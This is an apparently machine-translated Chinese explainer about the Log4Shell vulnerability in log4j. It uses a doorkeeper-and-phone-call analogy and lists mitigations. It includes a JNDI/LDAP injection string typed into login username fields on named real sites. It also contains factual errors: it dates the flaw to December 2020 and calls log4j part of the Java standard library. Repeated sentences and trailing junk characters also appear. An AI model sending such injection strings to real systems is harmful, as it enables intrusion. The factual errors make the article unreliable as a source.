当前位置: 首页 > 科技观察

什么是Log4Shell漏洞?

时间:2023-03-19 19:27:32 科技观察

2020年12月,势必成为各家互联网公司一年中最深刻的记忆。12月初,核弹级系统漏洞爆发,导致多家互联网公司内部服务器被发现、劫持甚至植入。虽然已经发布了补丁,但是最基础、应用最广泛的模块log4j中的这个漏洞还是让我们流连忘返。为什么一直没有被发现,为什么这个漏洞这么严重,这个漏洞是怎么回事?...是什么漏洞log4j[1]是Java标准库的一个模块,主要负责记录各种日志,以及登录Python[2]类似。log4j功能强大,可以支持各种场景的日志需求,比如输出日志到终端,记录日志到文件,或者发送日志到日志服务器等等,可以说哪里需要日志,log4j就是最好的选择记录。也正是因为如此,log4j成为了最常用的模块,而互联网公司的基础设施都是java搭建的,所以log4j深入到公司的每一个角落。log4j就像一个兢兢业业的老卫士,一丝不苟地记录各种访问信息,以便系统排查问题。如此普通、不起眼的模块,为何会爆出触目惊心的漏洞?为了说明这种情况,我参考小众PlatyHsu[3]的比喻来解释,即使你不懂编程或技术,也能看懂。在看门人前面,我们说过log4j是一个日志模块,就像一个老看门人。任何人进入里面都需要向看门人登记。注意,这里的注册不是验证,而是简单的记录,比如谁,什么时候,为了什么目的等,并将这些信息记录在日志中。我们经常看到的web系统的访问日志就是由这个模块生成的。一开始一切正常,但是在一些对性能要求比较高的系统中,为了不让日志记录花费太多时间(毕竟停下来被问到也需要时间),所以加入了后处理功能日志模块。也就是来人有急事的时候,留个电话,让门卫等会儿问就行了。这种设计有很多优点,类似于异步处理,将日志进程分离出来异步处理,这样就不会影响主进程的执行。然而,问题也在这里。诈骗电话一些别有用心的人利用预留电话号码的机制留下诈骗电话。后来日志处理模块在整理日志的时候,发现有一行是说打电话的,于是拨通了左边的号码,然后对方说,恭喜你中奖了。奖品是手机一部,只要提供地址信息即可。可以免费邮寄过来等等,在不知不觉中,这个日志模块泄露了企业内部信息,包括收件人、内部电话号码等。你可能会疑惑,为什么调用时需要日志模块?下面介绍一下如何拨打电话。日志模块并不真正进行调用,但日志机制允许使用模板。就像Python中的字符串模板一样,在合成字符串的时候,可以使用占位符来代替实际内容,根据实际情况进行padding。例如:strTemp="Hello{name}"print(strTemp.format(name='Lily'))#结果为:HelloLilylog4j为了灵活性,使用了一个叫做JNDI[4](JavaNamingandDirectoryInterface)的目录查询方法,可支持LDAP[5](轻量级目录访问协议)协议查询网络上的轻量级对象。LDAP的格式为:ldap://ldap.example.com/cn=John%20Appleseed表示向ldap.example.com发送请求,查询名为JohnAppleseed的人的信息。重要的一点来了:LDAP协议可以用于网络访问。这里我们会发现,当日志处理程序在执行一条需要更换日志模板的语句时,恰好有时它需要通过LDAP协议获取信息,它就会去访问这个地址。如果别有用心的人利用该地址作为陷阱,或者作为木马程序的下载地址,就可以在服务器不知情的情况下泄露服务器内部信息,甚至将木马程序下载到服务器上。此前多份报道指出,黑客利用该漏洞在服务器上安装了挖矿程序。如何实施对于普罗大众来说,制度漏洞离我们很远。即使他们知道存在这样的漏洞,他们也不知道如何利用它们。我不知道这样的想法常常会使自己处于危险之中。log4Shell漏洞实施起来非常简单。您甚至不需要使用任何攻击工具。您只需要在平台的登录页面填写一个特殊的用户名即可。比如在Apple网站上,用户名是这样写的${jndi:ldap://ldap.example.com/a}这样的:Apple当然ldap网站需要自己设置或使用可以提供记录访客信息的服务。可以看到苹果内部的服务器信息。这里再举一个QQ邮箱攻击的例子:只要QQ邮箱能访问系统,加上特殊的注入语句,就可以进行攻击,所以漏洞的攻击并没有想象的那么复杂,所以当发现漏洞发生的时候,要及时打补丁进行修复,不能因为不知道怎么实现就不管了。如何杜绝当我们了解了整个过程后,如何预防就很清楚了。如果这个漏洞没有及时修复,我们也可以采取一些措施来防止信息泄露。最容易想到的就是防止系统访问未知的外部网络。就像限制打内线打长途电话一样,限制外线电话。二是通过参数设置禁用系统中的JNDI通信协议,也就是使日志模块中的JNDI失效。还有下载补丁和修补漏洞。修补漏洞很容易,但很难从根源上消除这个漏洞。我们总是在易用性和安全性之间找到一个平衡点,同时增加易用性和功能性会引入更多的不确定性,尤其是当依赖级别增加时,大量的间接依赖会使问题比我们想象的更复杂。log4Shell由于其巨大的破坏力,一经发现及时处理,但仍有可能存在各种依赖导致的问题,继续存在。因此,我们在做系统扩展功能的时候,一定要特别注意依赖关系导致的系统问题。很多时候,一些被命名后被认为无足轻重的函数,却成了漏洞的绝佳藏身之地。总结没有纯净的环境和完美的世界。log4Shell漏洞让我更加看清了这个世界的现实——漏洞无处不在!我们能做的就是像新冠病毒一样,提高防护意识,做好防护工作。没有迷信,没有谣言,没有粗心和疏忽。也许我们平时写的代码实用性有限。如果没有防护和安全意识,就像裸奔一样。几年前,笔者在github上发布代码示例时,错误地上传了实际环境的配置信息。大约一周后,当我意识到问题所在时,服务器已经被注入了挖矿程序!很难想象一个未知的更新会被注意到并被利用,所以防护意识是我们畅游互联网的护身符。比较心!很难想象一个未知的更新会被注意到和使用,所以保护意识是我们在互联网上畅游的护身符。比较心动!参考资料[1]log4j:https://logging.apache.org/log4j/2.x/[2]logging:https://docs.python.org/zh-cn/3/library/logging.html[3]小众PlatyHsu的比喻:https://sspai.com/post/70394[4]JNDI:https://baike.baidu.com/item/JNDI/3792442[5]LDAP:https://baike.baidu.com/项目/%E8%BD%BB%E5%9E%8B%E7%9B%AE%E5%BD%95%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AEDFDFDFDFDFDFDFDFDFDFDFDFDFDFDFDFT566666666666666666666